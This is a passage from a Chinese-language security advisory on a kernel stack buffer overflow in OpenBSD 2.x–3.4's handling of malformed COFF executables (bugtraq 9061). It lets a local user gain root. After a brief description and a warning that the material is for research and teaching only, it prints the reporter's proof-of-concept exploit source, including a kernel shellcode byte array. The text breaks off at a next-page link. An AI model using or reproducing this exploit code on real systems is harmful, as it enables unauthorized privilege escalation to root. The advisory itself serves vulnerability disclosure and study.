信息提供: 【扩展信息:Apple Mac OS X TruBl】
安全公告(或线索)提供热线:51cto.editor@gmail.com漏洞类别:
溢出错误攻击类型:
本地越权访问发布日期:
2003-11-17更新日期:
2003-11-21受影响系统:
openbsd openbsd 3.4 openbsd openbsd 3.3 openbsd openbsd 3.2 openbsd openbsd 3.1 openbsd openbsd 3.0 openbsd openbsd 2.9 openbsd openbsd 2.8 openbsd openbsd 2.7 openbsd openbsd 2.6 openbsd openbsd 2.5 openbsd openbsd 2.4 openbsd openbsd 2.3 openbsd openbsd 2.2 openbsd openbsd 2.1 openbsd openbsd 2.0安全系统:
无
漏洞报告人:
noir (noir@olympos.org)漏洞描述:
bugtraq id: 9061 openbsd是一款开放源代码操作系统. openbsd内核在处理畸形coff可执行文件时存在缓冲区溢出,本地攻击者可以利用这个漏洞进行权限提升,获得root用户权限. 问题发生在当内核对二进制文件进行读操作时,对coff头结构中的不正确使用的长度(length)参数缺少充分的检查,结果一个精心构建的二进制程序可在内核内存上下文中触发基于堆栈的缓冲区溢出.此漏洞可以在openbsd 2.x-3.3系统上提升权限,也证明此问题可能存在于openbsd3.4,至少能触发内核崩溃.测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用.使用者风险自负!noir(noir@olympos.org) 提供了如下测试程序: /** openbsd 2.x - 3.3 **/ /** exec_ibcs2_coff_prep_zmagic() kernel stack overflow **/ /** note: ibcs2 binary compatibility with sco and isc is enabled **/ /** in the default install **/ /** copyright feb 26 2003 sinan "noir" eren **/ /** noir@olympos.org | noir@uberhax0r.net **/ /** greets to brother nahual for making this usefull! **/ #include <stdio.h> #include <sys/types.h> #include <fcntl.h> #include <unistd.h> #include <sys/param.h> #include <sys/sysctl.h> #include <sys/signal.h> //#include "ibcs2_exec.h" /* kernel_sc.s shellcode */ /* much improved the opcode search, fixed the stupid logic bug! */ unsigned char shellcode[] = "\xe8\x0f\x00\x00\x00\x78\x56\x34\x12\xfe\xca\xad\xde\xad\xde\xef\xbe" "\x90\x90\x90\x5f\x8b\x0f\x8b\x59\x10\x31\xc0\x89\x43\x04\x8b\x13\x89" "\x42\x04\x8b\x51\x14\x89\x42\x0c\x8d\x6c\x24\x68\x0f\x01\x4f\x04\x8b" "\x5f\x06\x8b\x93\x00\x04\x00\x00\x8b\x8b\x04\x04\x00\x00\xc1\xe9\x10" "\xc1\xe1\x10\xc1\xe2\x10\xc1\xea\x10\x09\xca\x31\xc9\x41\x8a\x1c\x0a" "\x80\xfb\xe8\x75\xf7\x8d\x1c\x0a\x41\x8b\x0c\x0a\x83\xc1\x05\x01\xd9" "\x89\xcf\xb0\xff\xfc\xb9\xff\xff\xff\xff\xf2\xae\x8a\x1f\x80\xfb\xd0" "\x75\xef\x47\x31\xc0\x57\xc3"; /* do not use! */ /* silvio gotta get his brain together and understand why sometimes you need to return to kernel code rather than setting the selectors pushing ss,esp,eflag,cs,eip and do an iret! well, aloha?? vnode locks being held ? mutex locks being held ? ... 下一页